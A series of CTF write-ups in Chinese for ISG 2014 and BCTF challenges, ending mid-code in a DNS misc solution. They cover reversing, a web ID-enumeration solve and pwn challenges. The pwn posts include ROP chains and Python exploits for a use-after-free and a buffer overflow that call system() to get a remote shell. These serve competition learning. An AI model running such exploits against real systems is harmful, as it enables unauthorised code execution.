over 8 years ago

64位ELF binary,漏洞很明顯但考驗利用能力,stack 不可執行要 ROP。
一開始在 .text 裡沒有仔細找 gadget,導至 exploit 變得很複雜...

.text:00000000004005BD                 push    rbp
.text:00000000004005BE                 mov     rbp, rsp
.text:00000000004005C1                 sub     rsp, 10h
.text:00000000004005C5                 mov     edi, 3Ch        ; seconds
.text:00000000004005CA                 call    _alarm
.text:00000000004005CF                 mov     edx, 13h        ; n
.text:00000000004005D4                 mov     esi, offset aPwnMeIfYouCan
.text:00000000004005D9                 mov     edi, 1          ; fd
.text:00000000004005DE                 call    _write
.text:00000000004005E3                 lea     rax, [rbp-0x10]
.text:00000000004005E7                 mov     edx, 100h       ; nbytes
.text:00000000004005EC                 mov     rsi, rax        ; buf
.text:00000000004005EF                 mov     edi, 0          ; fd
.text:00000000004005F4                 call    _read
.text:00000000004005F9                 mov     eax, 0
.text:00000000004005FE                 leave
.text:00000000004005FF                 retn

利用 .text:4005E3 ,控制好 rbp 則可以對任意位址寫入;
.text:4005D9 則可以用來洩漏內存 (rsi 的值先由 .text:4005E3 設好)。
要注意 rsp 會被 leave 破壞掉,因此必須適當的控制 rbp,使得棧的內容保持在可控狀態,ROP 鍊才能繼續下去。
洩漏 read@libc 的 ROP 如下,

send("A"*16 +
      Q(0x601040) + //rbp main
      Q(0x4005E3))  //ret main -> (1)
send( Q(0x601048) + //.got:0x601030 rbp (2)
      Q(0x4005D9) + //.got:0x601038 ret (2) -> (3)
      Q(0x601030) + //.got:0x601040 rbp (1)
      Q(0x4005E3))  //.got:0x601048 ret (1) -> (2)
send("A")   //送點東西,略過 (2) 裡的 read

(1) 中 rbp = 0x601040, 讀取之後的 ROP chain 到 0x601030
(2) 中 rbp = 0x601030, rsp = 0x601040, 這步驟是為了設好 rsi = 0x601020
(3) 中 rbp = 0x601040, rsp = 0x601030, write 洩漏 0x601020 開始的內容

之後 (3) 後半段的 read 讀取 ROP chain 到 0x601030,(3) 執行到 ret 後便會接著繼續跳轉。
首先接續 ROP 如下,目地是大量洩漏 libc 裡的內容,用來尋找有用的 ROP gadget。
利用的是 .text:40065A + .text:400640,可以設定 rsi, rdx,rdi 留給 write 前的 mov edi, 1 就行了。

// 此為前一步讀進來的 ROP chain,位址在 .got:[601030:601070],開始時 rsp = 0x601030
send( Q(0x40065A) +          // ret
      Q(0) +                 // rbx
      Q(0) +                 // rbp
      Q(0x601070) +          // r12
      Q(dump_size) +         // r13 -> rdx
      Q(read@lib + offset) + // r14 -> rsi
      Q(0) +                 // r15
      Q(0x400640) +          // ret 
      Q(0x4005D9))           // .got:601070 - 給 call qword ptr [r12+rbx*8] 跳的位址

Dump libc 後找到一些重要的 gadget:

  • pop_rax_ret = libc_read + 52203
  • pop_rdx_ret = libc_read + 117061
  • pop_rdi_ret = libc_read + 315
  • pop_rsi_ret = libc_read + 6786
  • syscall_ret = libc_read + 61685

這之後就簡單了,利用 ROP 做出 sys_execve( "/bin/sh", {"/bin/sh", 0}, {0} ) 即得 shell。
中間遇到一個小問題:sys_execve 時會 crash 但 sys_write 卻不會,後來猜測是 rsp 會超出可寫段 0x601000,
先把 rsp 移到 0x601800 後就成功了。

ISG{nicejob_you_got_me_pwned}

Exploit source code: isg2014 - pwnme.py

 
about 9 years ago

基本上就是重新把檢查的部份實作出來,這個用 IDA decompile 的結果,加上有給 0x66666667 這個提示,看似很複雜的乘法和位運算其實是 /10 的意思。把每個檢查的條件式分開來看,會發現函式中第一個回圈所有條件判斷和賦值只跟第0,1,2,3,4,5,7,10,11位(padding後)有關,直接搜的時間是可以接受的。
最後第二個迴圈比對20位原本key與函式生成的20位key,由於如果第一個迴圈檢查通過,則函式生成的20位key即為正確的key,所以直接把剩下位數還沒搜的key直接丟去跑,抓出函式生成的20位key即為flag。

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define LOBYTE(x) ((char*)&x)[0]
#define BYTE1(x) ((char*)&x)[1]
#define BYTE2(x) ((char*)&x)[2]
#define BYTE3(x) ((char*)&x)[3]
#define _BYTE char
#define _WORD short

char key[20] = {0x00};

char sub_401000(char* a1,char* a2,char* a3){
    int v4; // edi@1
    signed int v5; // ecx@1
    char v6; // ST20_1@1
    signed int v7; // ST18_4@1
    signed int v8; // ecx@1
    char v9; // al@1
    signed int v10; // ecx@1
    signed int v11; // ebx@1
    signed int v12; // edx@1
    char result; // al@1

    v4 = a1[1];
    v5 = v4 * a2[1];
    v6 = v5 % 10;
    v7 = v5 / 10 + a2[1] * a1[0];
    v8 = v4 * a2[0];
    v9 = v8 % 10;
    a3[2] = v9;
    v10 = v8 / 10 + *(_BYTE *)a2 * a1[0];
    a3[3] = v6;
    v11 = v7 % 10 + v9;
    a3[2] = v11 % 10;
    v12 = (v11 / 10 + v10 % 10 + (signed int)(char)(v7 / 10)) / 10;
    a3[1] = v11 / 10 + v10 % 10 + v7 / 10 - 10 * v12;
    result = v12 + ((unsigned int)v12 >> 31) + v10 / 10;
    a3[0] = result;
    return result;
}

int func1(){
    char *v0; // ebx@1
    int v1; // esi@1
    char v2; // ST14_1@1
    char v3; // ST10_1@1
    char v4; // ST0C_1@1
    signed int v5; // ecx@1
    char v6; // al@2
    char v7; // ch@10
    int v8; // edx@12
    signed int v9; // edi@12
    int v10; // eax@12
    signed int v12; // edx@14
    int v13; // eax@14
    int v14; // edx@14
    signed int v15; // edx@14
    char v16; // cl@14
    char v17; // al@15
    char v18; // dl@15
    int v19; // edx@17
    char v20; // bl@17
    int v21; // zf@21
    char v22; // bl@22
    char v23; // bh@24
    int v24; // edi@24
    int i; // ecx@28
    char v27; // [sp-4h] [bp-9Ch]@1
    int v28; // [sp+Ch] [bp-8Ch]@14
    int v29; // [sp+10h] [bp-88h]@34
    int v30; // [sp+14h] [bp-84h]@11
    int v31; // [sp+18h] [bp-80h]@20
    int v32; // [sp+1Ch] [bp-7Ch]@14
    int v33; // [sp+20h] [bp-78h]@31
    int v34; // [sp+24h] [bp-74h]@36
    int v35; // [sp+28h] [bp-70h]@35
    int v36; // [sp+2Ch] [bp-6Ch]@18
    int v37; // [sp+30h] [bp-68h]@13
    unsigned int v38; // [sp+34h] [bp-64h]@14
    int v39; // [sp+38h] [bp-60h]@14
    int v40; // [sp+3Ch] [bp-5Ch]@12
    char v41[4]; // [sp+40h] [bp-58h]@14
    char v45; // [sp+46h] [bp-52h]@10
    char v46; // [sp+47h] [bp-51h]@12
    char v47[16]; // [sp+48h] [bp-50h]@1
    char v48; // [sp+58h] [bp-40h]@9
    char v49; // [sp+5Ch] [bp-3Ch]@12
    short v50; // [sp+5Dh] [bp-3Bh]@12
    char v51; // [sp+5Fh] [bp-39h]@12
    int v52; // [sp+60h] [bp-38h]@12
    short v53; // [sp+64h] [bp-34h]@12
    char v54; // [sp+66h] [bp-32h]@12
    char pada[100];
    char buf[20];
    char padb[100];
    unsigned int v60; // [sp+84h] [bp-14h]@1
    char *v61; // [sp+88h] [bp-10h]@1
    int v62; // [sp+94h] [bp-4h]@1
    int v63; // [sp+98h] [bp+0h]@1

    //memcpy(v47,key,17);
    //memset(buf,-1,20);
    //
    memcpy(buf,key,20);

    v61 = &v27;
    v1 = 0;
    buf[5] = 1;
    buf[8] = 8;
    buf[12] = 0;
    buf[14] = 7;
    v62 = 0;
    /*v5 = 0;
    while ( 1 )
    {
        v6 = v47[v5];
        if ( v6 < 48 )
            break;
        if ( v6 > 57 )
            break;
        for ( ; buf[v1] != -1; ++v1 );
        buf[v1] = v6 & 0xF;
        ++v5;
        ++v1;
        if ( v5 >= 16 )
            break;
    }
    if ( v5 < 16 )
    {
        return 0;
    }

    if (!buf[0])
    {
        return 0;
    }*/

    v7 = *(int*)buf;
    v45 = *(int*)buf;

    v46 = buf[1];
    v50 = *(short*)(buf + 1);
    v51 = buf[3];
    v52 = *(int*)(buf + 4);
    v53 = *(int*)(buf + 8);
    v54 = buf[10];
    v8 = 0;
    v49 = v7;
    v9 = 11;
    v40 = 2;
    v10 = 0;

    while ( 1 )
    {
        v37 = v10;
        if ( v10 >= 2 )
            break;
        v28 = v8 + 1;
        v12 = ((int)*(char*)(buf + 4 + v8 + 3)) * buf[6];
        v13 = v12;
        LOBYTE(v13) = v12 % 10;
        //v43 = v12 % 10;
        v39 = v13;
        v14 = v12 / 10 + ((int)*(char*)(buf + 4 + v8 + 3)) * buf[4 + 1];
        v32 = v14;
        v38 = v14 / 10;
        v16 = v14 / 10;
        //v42 = v32 - v16;
        //v41[0] = v14[0] / 10;
        if ( v7 != (_BYTE)v32 - v16 || (v17 = v46, v18 = v39, v46 <= (char)v39) || (_BYTE)v38 )
        {
            return 0;
        }
        *(&v49 + v9) = (char)(v32 - v16);
        *((_BYTE *)&v50 + v9) = v18;
        v7 = v17 - v18;
        v19 = v40;
        *((_BYTE *)&v50 + v9 + 1) = v7;
        v20 = *(char*)(buf + v19);
        *(&v51 + v9) = v20;
        v9 += 4;
        v45 = v7;
        v46 = v20;
        v40 = v19 + 1;
        if ( !v7 )
        {
            return 0;
        }
        v8 = v28;
        v10 = v37 + 1;
    }

    v21 = (v7 == buf[5]);
    if ( v7 > buf[5] || (v22 = v46, v21) && v46 >= buf[6] ){
        return 0;
    }

    v23 = *(char*)(buf + v40);
    *(&v49 + v9) = v23;
    v24 = v9 + 1;

    sub_401000(buf + 5,buf + v8 + 7,v41);

    //printf("%d %d %d %d\n",v41[0],v41[1],v41[2],v41[3]);
    //printf("%d %d %d\n",v45,v22,v23);

    if ( v41[0] || v41[1] != v45 || v41[2] != v22 || v41[3] != v23)
    {
        return 0;
    }

    for(i = 0;i < 20;i++){
        printf("%d",buf[i] & 0xf);
    }
    printf("\n");

    return 1;
}

int main(){

    for(key[0] = 1;key[0] < 10;key[0]++){
        for(key[1] = 0;key[1] < 10;key[1]++){
            for(key[2] = 0;key[2] < 10;key[2]++){
                for(key[3] = 0;key[3] < 10;key[3]++){
                    for(key[4] = 0;key[4] < 10;key[4]++){
                        for(key[6] = 0;key[6] < 10;key[6]++){
                            for(key[7] = 0;key[7] < 10;key[7]++){
                                for(key[10] = 0;key[10] < 10;key[10]++){
                                    for(key[11] = 0;key[11] < 10;key[11]++){
                                        if(func1()){
                                            printf("ok\n");
                                            return 0;
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    return 0;
}
 
about 9 years ago

weibo.com > 搜尋 @BCTF百度杯网络安全技术对抗赛 >
關注並 @BCTF百度杯网络安全技术对抗赛 > 等待十分鐘 >

FLAG: BCTF{W31c0m3_T0_BCTF}

 
about 9 years ago

這是一題 ARM 架構 reverse 題,用來包裝的 apk 中有個 libbctfjni.so,其中有 JNI1 ~ JNI6 六個函數。而主程式的 java 部份很簡單: 傳入 24 byte 的字串給 JNI1,然後有個 callback 中會檢查回傳值 (3 byte) 正不正確。

我們分頭研究 JNI1 ~ JNI6,試圖理解它們在做什麼,幾個重點如下:

  1. JNI1 會根據字串第 [0], [4], [8], [12], [16], [20] 位的值,決定 JNI 1~6 之後要接著呼叫誰,只能指定一個。
  2. JNI2 ~ JNI6 包含一些對字符本身的限制,例如 [7]>[5], [1]=[7], [2]是數字, [6]是大寫字母 ...
  3. JNI5 把字串前半段和後半段對調
  4. JNI2 將字串後半段移到前半段,並且之後長度/2
  5. JNI6 將字串折半 xor ,再折半 xor,所以總長度/4

我們一開始是假設所有函式恰被用過一次,也就是一個 1 ~ 6 的排列。JNI1 一定是第一個沒有問題,再來 JNI6 一定是最後一個,否則它回傳的字串長度已經太短了。而 JNI2 是倒數第二個,因為其中只有 JNI6 是只需要看 12 byte 的。剩下的 JNI 3,4,5,我們則發現不論順序怎麼排列,一定會有無法成立的條件 ... 為此我們再三檢查有沒有看錯 (ARM 沒有很熟練),然後一無所獲。

直到第一個提示出現,我們立刻果斷丟掉 JNI4,結果一切都說得通了。我們得到函式的呼叫順序是 1,5,3,2,6,7(end),這裡得到的字串是:

I...i...s... ... ...e...

接下來套上 JNI5 的限制,會得到

[0]=[6]+2=[9]+8, [1]=[7]=[12]=[16], [4]=[5]-5=[13]+3=[20]+4=[2]+7=[17]-4, [8]=[11]-1=[19]
I b.inG sA.t f.. m.se...
   R      l   or  Y  lf   (猜測得來的,其中 R-Y 符合了 [3]+7=[18],是很強力的條件)

這裡已經有點看得出樣子了,接下來加上 JNI3, JNI2 檢查和確定大小寫或數字等。最後 JNI6 加上後,我們發現最後一位沒辦法確定

I bRinG sA1t f0r mYse1f.

不過由大小的限制我們知道它是一個小於 48 的符號,可能的組合不多。我們嘗試了 .?! 後,發現正確的 key 如下:

I bRinG sA1t f0r mYse1f!
 
about 9 years ago

ARM 架構 ELF,還好前幾次 CTF 看了不少 ARM,這次的 "解锁密码" 這題多少也幫忙複習了一下,理解代碼上還算容易。我們一開始先試著弄清 course data 的 36 bytes 結構。其中 "prerequisite Course" 這點很有趣,我們注意到在 list 這個操作中,prerequisite 會包含 course name 和 instructor。這表示在 list 這個操作顯示一門課程時,會需要參考到預備課程中的資料。進一步研究,我們發現它會呼叫預備課程 (x) 上的一個函式指針 (x+0x8),正常情況下它指向 0x8878,一個印出像是 "BATT-1 a instructed by xxx" 這個字樣的函式。

但我們發現,在 remove 課程後,並沒有清除指向該課程 (x) 的指針。雖然在呼叫 (x+0x8) 時會先檢查 x[0:4] 的值是否為 0x13373713,但這個其實我們也可以控制。在被釋放後,malloc() 會重新使用同樣大小 (或同一個 chunk) 的 memory,當我們再新增一門課程時,最先建立的是用來存放 course name 的區塊。只要把 name 的長度也設為 36 byte,便會覆蓋到原本被移除的課程上。當 list 再次呼叫 (x+0x8) 時,我們就掌握了控制權。

由於 stack 無法執行,需要定位 system() 的位址。在這裡我們使用原本用來印出預備課程資訊的 0x8878,但把原先指向課程名的 (x+0xc) 改為 .got 段上 write() 的欄位。這樣我們可以讀出 write() 在 libc.so 裡的位址,加上本地計算出的偏移量就可以得到 system() 的位址了。有了 system() 後,我們直接讓指針 (x+0x8) 指向 system(),但這時被傳入的參數是結構 (x) 本身,無法控制。因此我們把結構填滿非 0 值,並用 ';' 隔斷真正需要的指令,system() 會多報幾個 command not found 但還是能得到結果。

import socket
import time
import struct
import re

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,6)
s.connect(('218.2.197.248',4321))

m = b'\x13\x37\x37\x13bbbb\x79\x88\x00\x00\x3c\x11\x01\x00\x3c\x11\x01\x00'

s.send(b'a\n1\n1\n1\n1\n1\n')
s.send(b'a\n1\n1\n1\n1\n1\n')
s.send(b'r\n1\n')
s.send(b'a\n36\n' + m + b'\n36\nbbbbbbb\n2\n')
s.send(b'c\n')

time.sleep(0.5)
buf = s.recv(65536)

a, = struct.unpack('I',buf.split(b'Prerequisite: BATT-0 ')[1][:4])
x = a - 0x896a0 + 0x2ea39
print('write() address = '+hex(a))
print('system() address = '+hex(x))

for i in range(3,100,2):
    cmd = ';'+raw_input('$ ')+';'
    m = b'\x13\x37\x37\x13bbbb' + struct.pack('I',x) + cmd

    s.send(b'a\n1\n1\n1\n1\n%d\n'%i)
    s.send(b'a\n1\n1\n1\n1\n%d\n'%(i+1))
    s.send(b'r\n%d\n'%(i+1))
    s.send(b'a\n36\n' + m + b'\n36\nbbbbbbb\n2\n')
    s.send(b'c\n')

    time.sleep(0.5)
    buf = s.recv(65536)
    print re.findall('not found\n(.*)\nBATT',buf,re.DOTALL)[0]

執行代碼,得到 shell:

$ python course.py
write() address = 0xb6ef76a0
system() address = 0xb6e9ca39
# ls /home
course
# ls /home/course
course
flag
# cat home/course/flag
BCTF{Y0u_4R3_b3Tt3r_tH4n_MiTnIcK}
#
 
about 9 years ago

程式裡有一個算flag的片段,但是會不斷呼叫MessageBox,把呼叫的部分patch掉,跑完後flag就顯示出來了

 
about 9 years ago

分分鐘而已 (Web 100)

描述

米特尼克看到現代的互聯網這麼發達簡直驚呆了,但幾秒鐘之後他就回過了神,摩拳擦掌準備一試身手,他需要拿到BAT公司中一個名叫Alice員工的秘密文件,Alice只是個初級的網絡管理員,所以想來拿他的文件也不過是分分鐘的小遊戲而已。

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php

解法

連進去之後發現上面有四個分頁,分別寫著

  • H.shao
  • Lamos
  • Angella
  • Ray

戳戳之後可以看到網址列上有所改變,例如戳 Ray 之後網址列會變成:

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=8d44a8f03ab5f71ce78ae14509a03453

8d44a8f03ab5f71ce78ae14509a03453 拿去搜索後得知這是 Ray300 的 MD5 值。合理猜測那串 id 應該是人名加上三位數字做 MD5 而得。

因為我們想要拿到 Alice 的文件,就把 1000 種可能都試看看吧:

require 'digest'

1000.times do |i|
  puts i
  url = "http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php"
  url << "?id=#{Digest::MD5.hexdigest('Alice%d' % i)}"
  html = `curl -s #{url}`
  puts url unless html.include?"Who are you ?"
end
$ ruby web100.rb
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=d482f2fc6b29a4605472369baf8b3c47

連上之後可以看到

Hi! Alice
Personal Information:d4b2758da0205c1e0aa9512cd188002a.php

立馬連上去之後看到一張 BackTrack Linux 的桌布,檢視原始碼:

error<html>
    <head><title>BT5</title></head>
    <body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;">
        <!--  $_POST['key=OUR MOTTO'] -->
    </body>
</html>

好,就送他個 key=OUR MOTTO

$ curl --data 'key=OUR MOTTO' http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php
error<html>
        <head><title>BT5</title></head>
        <body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;">
                <!--  $_POST['key=OUR MOTTO'] -->
        </body>
</html>

還是 error 嗚嗚嗚。

因為英語水平不好,查了才知道 motto 是啥,從 BackTrack 官網右上角發現一句話!

$ curl --data 'key=the quieter you become the more you are able to hear' http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php
flag-in-config.php.bak<html>
        <head><title>BT5</title></head>
        <body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;">
                <!--  $_POST['key=OUR MOTTO'] -->
        </body>
</html>

歐歐歐!

$ curl http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/flag-in-config.php.bak
.......................................................................................... .........
.......................................................................................... .........
.................................mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm............. .........
.........................mmmmmmmmmmmmmmmm..................................mmmmm.......... .........
...................mmmmmmmmmmm..........mmmmm...............mm................mmm......... .........
.................mmmm............................................mm.............mmm....... .........
..............mmmm....m..mmmmmm............mmm..............mm......m............mmm...... .........
............mmmm.................................................mm....m..........mmm..... .........
...........mmm............mmmmm....................m..........mmm...m....m.........mmm.... .........
..........mm...........m.........................m................mm...m....m.......mmm... .........
..........mm.........m............m..................................m..m....m.......mm... .........
..........mm........m..................................................m..m...........mm.. .........
.........mm..........................................mmmmmmmmmmmmmm...................mmm. .........
........mmm............mmmmmmmm...................mmmmm...mmmmmmmmmmmm.................mmm .........
....mmmm...........mmmmmmmmmmmmmm.............mmmm......mmmmmmmm..mmm..................mmm .......
...mmm...mmmmm.mmm.mmmmmmmmmmmmmmm...........mmm.....mmmmmmmmmmmmmmmmm....m....mmmmmmmm.mm mm.....
..mm...m..................mmmmmmmmmmmmm.......mmmmmmmmm...........mm...m.................. mmm....
.mm..m...mm.....................mmmm...........mmmmm......mmm..............mmmmmmmmmm..... ..mm...
.mm.m..m...mmmmmm................mm.........................mmmm.......mmmmmm......mmmm... .m.mm..
.mmm.....mmmmmmmmmm....m.........mm...........................mmmmmmmmmmm.....mm.....mmm.. .m..mmm
.mmm.....m.......mmmmmmmm........mm...........................................mm......mm.. .m..mmm
.mmm..m.......mm..mmmm........mmmm.........................................mmmmm.......mm. .m...mm
.mm....m......mm...........mmmm................mmmmmmmm................mmmmm...mmmmmm..mm. .m...mm
.mmmm...mm..mmmm..........mmmmm....................mm..............mmmmmm.....mmm.mmm.mmm. .m..mmm
..mm.mm.....mmmm.......mm..mmmmm.........mmmmmmm...mm..........mmmmmmm........mm......mm.. ....mmm
..mmm....m..mm.mmm...m........mmm..............m.mmm......mmmmmmmm.mm.......mmmm.....mm... m..mmm.
...mmm.....mmmmmmmmm............mmmmmm...............mmmmmmmm......mm....mmmmmm.........mm ..mm...
....mmm....mm.mm.mmmmmm...........mmm...........mmmmmmmm..........mmm.mmmmmmmm.......m.... .mmm...
.....mm....mmmm..mm..mmmmmmmm........mmmmmmmmmmmmmm..mm..........mmmmmmm..mmm..........mmm mm.....
.....mm....mmmm..mm....mmmmmmmmmmmmmmmmmmmm..........mm......mmmmmmmm....mmm............mm m......
.....mm....mmmm..mm...mmm.......mm.......mm..........mmm.mmmmmmmmm.mm...mmm...........mmm. .......
.....mm....mmmmmmmm...mm........mm.......mm.........mmmmmmmmmmm....mm..mmm...........mmm.. .......
.....mm....mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.......mmmmmm............mm... .......
.....mm....mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.mm...........mmm.............mmm... .......
.....mm.....mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.......mm.........mmm..............mmm.... .......
.....mm.....mm.mmmmmmmmmmmmmmmmmmmmmmmmmmm.mm..........mmm.....mmmm...............mmm..... .......
.....mm......mm.mm..mm...mm.....mmm........mm...........mm...mmmm...............mmm....... .......
.....mm......mmmmmm.mmm...mm.....mm........mm............mmmmmm................mmm........ .......
.....mm.......mmmm...mmm..mmm....mm........mm.........mmmmmm.......m.....m...mmm.......... .......
.....mm.........mmmmmmmmm..mm....mmm.......mm..mmmmmmmmm........m.....mm...mmmm........... .......
.....mm..............mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.........mm....mm....mmmm ...............
....mmm........m..........................................m.....mm....mmmmm.. ..............
....mm..........m....................................mm......m.....mmmmm..... ..............
....mm............m..............................mm......mm.....mmmmm........ ..............
..mm.....mm........mmm...........mmmmmmmmmm......mm.......mmmmmm....... ............
.mm.........m.........................mmm............mmmmm...... ........
.mmm..........mmmmmmmmmmmmmmm.....................mmmmm...... ....
.mmm..........................................mmmmm...... ..
..mmm...................................mm.mmmmm.......
...mmmm............................mmmmmmmmmm........
....mmmmm...................mmmmmmmmm..............
.......mmmmmmmmmmmmmmmmmmmmmmmm....................

被嘲笑了。

換招試試:

$ curl http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/config.php.bak
[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])]...(下略)

這長得一臉 JavaScript 樣呀,在 Chrome 的 console 中引入 jQuery 後

> $.get("http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/config.php.bak", function(data) { console.log(eval(data)); })
BCTF{fuck_the_guys_who_are_exchanging_fl4g_you_are_destroying_this_game}

耶比...?BCTF{fuck_the_guys_who_are_exchanging_fl4g_you_are_destroying_this_game}

註:比賽中我們拿到的 Flag 為 BCTF{Do_you_l0v3_pl4y_D074}

 
about 9 years ago

主要的功能都在 sub_8049340() 裡,挺巨大的一個函式。其中會造成漏洞的,第一個是在用來 add hacker 的函式 sub_80489E0()。這裡用了一個 hash 函數 sub_8048920() 和 hash table 記錄出現過的 ID,但 add hacker 前沒有檢查是不是 hash table 已經滿了。這使得我們可以覆蓋任意 id 原本的資料,並且將當前的 id 指定為他。

n = strlen(name);
hash_value = sub_8048920(name);
id = hash_value;
for ( i = 0; i < 1338; i++ ) {
    id = (hash_value + i) % 1337;
    if ( !tb[(hash_value + i) % 1337] ) break;
    if ( !strcmp(table[(hash_value + i) % 1337]->name, name) )
        return (hash_value + i) % 1337;
}
ptr = malloc(0x38u);
ptr->id = id;
memcpy(ptr->name, name, n);
table[id] = ptr;
return id;

接下來我們在處理 show 這個操作的代碼中,發現在 currentID=0 時,這個 id 會被當做是 admin,nameLength 會直接被設成 5。這會使得之後的 limit 值被高估,memcpy() 時造成 buffer overflow,可以 overflow 的長度大約是 35 byte。

idLength = numOfDigits(currentID) + 8;
nameLength = currentID ? strlen(table[currentID]->name) : 5;
ageLength = numOfDigits(table[currentID]->age);
genderLength = table[currentID]->gender?4:6;
total = ageLength + genderLength + (idLength + nameLength + 6) + 10 + 8;
limit = 127 - total;
if ( strlen(table[currentID]->info) > limit ){
    memcpy(buf+total, table[currentID]->info, n);
}else{
    memcpy(buf+total, table[currentID]->info, strlen(table[currentID]->info));
}

這個 buffer overflow 足以改寫掉返回位址。我們先試著找出 libc 的基底位址,藉助 gdb 我們很快的發現 buf+0x94 處的值跟 main() 返回到 __libc_start_main() 裡的位址之間的差是固定的。show 操作的時候可以接上長度正確的 info 字串,印出 buf+0x94 處的值,就可以定出 system() 和 gets() 的位址。之後我們先用 gets() 把 shell 命令讀取到 .bss 段上(0x0804c548 是原本 hash table 的位址),再接著跳轉到 system() 執行命令。完整代碼如下:

import socket
import struct
import sys
import time

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.245',31337))

hh = open('hash_table','r').read().split('\n')[:-1]

def W(x):
    st.send(x+'\n')

def Wait(x=' >> '):
    time.sleep(0.2)
    rr = ''
    while True:
        s = st.recv(4096)
        rr += s
        if x in s:
            return rr

for i in range(1,1337):
    W('add '+hh[i])

W('add aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadwvzm')
Wait('added to system with id 0')

W('info aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxx0AAAABBBBAAAABBBBAAAA')
Wait()
W('show')
s = Wait()
s = s[s.find('AAAABBBBAAAA')+20:][:4]
libc_base = struct.unpack('I',s)[0]-0x19406b+0x409e-0x19993
print 'libc_base @ '+hex(libc_base)

gets = libc_base+0x661a0
system = libc_base+0x3ea70

W('info aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'+\
        struct.pack('I',gets)+\
        struct.pack('I',system)+\
        struct.pack('I',0x0804c548)+\
        struct.pack('I',0x0804c548))
Wait()
W('show')
Wait()

st.send('exit\n')
s = raw_input()
st.send(s+'\n')
while True:
    s = st.recv(4096)
    if len(s)==0:
        break
    sys.stdout.write(s)
    sys.stdout.flush()

Key: BCTF{2h3_sH1_Y1=G3=H4o^w4n^d3%F14G}

 
about 9 years ago

內網探險 (Misc 200)

描述

為了收集更多參加 BCTF 大賽的中國黑客朋友的信息,米特尼克決定嘗試滲透進入 BCTF 的內網以獲取更多的信息。通過信息蒐集和網絡監聽,他發現了進入內部數據庫的一個入口代理,並且在代理入口處拿到了少量流量數據。正當他想繼續收集更多信息的時候,他的行跡被發現並被踢出了網絡。

http://bctf.cn/files/downloads/misc200_23633b6b34ccf6f2769d35407f6b2665.pcap

入口代理:218.2.197.236:12345

提示

  1. DNS
  2. 構造數據包

解法

下載存成 misc200.pcap,先來看看裡面有啥。

$ tshark -r misc200.pcap
  1   0.000000 202.112.50.172 -> 218.2.197.236 DNS 75 Standard query 0x1234  A shadu.baidu.com
  2   5.823182 202.112.50.172 -> 218.2.197.236 DNS 79 Standard query 0x4321  A bctf.secret.server1

看起來是個正常的 DNS 查詢,來連看看入口代理:

$ nc 218.2.197.236 12345
Welcome to proxy system. Pleas enter secret servers information to login.
IP address of host "bctf.secret.server1":

IP address of host "bctf.secret.server2":

IP address of host "bctf.secret.server3":

IP address of host "bctf.secret.server4":

Accessing secret servers, please wait ......
Proxy cannot access the secret servers. Please input IP addresses again

那就來問問看入口代理這幾台的 IP 吧:

$ nslookup bctf.secret.server1 218.2.197.236
Server:         218.2.197.236
Address:        218.2.197.236#53

Name:   bctf.secret.server1
Address: 87.61.45.59

$ nslookup bctf.secret.server2 218.2.197.236
Server:         218.2.197.236
Address:        218.2.197.236#53

Name:   bctf.secret.server2
Address: 87.4.98.152

$ nslookup bctf.secret.server3 218.2.197.236
Server:         218.2.197.236
Address:        218.2.197.236#53

Name:   bctf.secret.server3
Address: 249.78.85.56

$ nslookup bctf.secret.server4 218.2.197.236
Server:         218.2.197.236
Address:        218.2.197.236#53

Name:   bctf.secret.server4
Address: 13.228.21.29

看起來很不像內網 IP 呀,不過還是試試看吧:

$ nc 218.2.197.236 12345
Welcome to proxy system. Pleas enter secret servers information to login.
IP address of host "bctf.secret.server1":
87.61.45.59
IP address of host "bctf.secret.server2":
87.4.98.152
IP address of host "bctf.secret.server3":
249.78.85.56
IP address of host "bctf.secret.server4":
13.228.21.29
Accessing secret servers, please wait ......
Proxy cannot access the secret servers. Please input IP addresses again

失敗了嗚嗚,為什麼呢?讓我們試看看問它其他東西。

$ nslookup 1.1.1.1.xip.io 218.2.197.236
Server:         218.2.197.236
Address:        218.2.197.236#53

Non-authoritative answer:
1.1.1.1.xip.io  canonical name = a105d.xip.io.
Name:   a105d.xip.io
Address: 78.61.44.27

$ nslookup 2.2.2.2.xip.io 218.2.197.236
Server:         218.2.197.236
Address:        218.2.197.236#53

Non-authoritative answer:
2.2.2.2.xip.io  canonical name = k20aq.xip.io.
Name:   k20aq.xip.io
Address: 79.62.45.28

有詐!1.1.1.1.xip.io 應該要解出 1.1.1.1 才對呀,從這兩次的回應看來這個入口代理應該是加上了 77.60.43.26 的偏移量。

根據這個偏移量修正一開始拿到的 IP:

def ip_sub(ip1, ip2)
  ip1 = ip1.split('.').map(&:to_i)
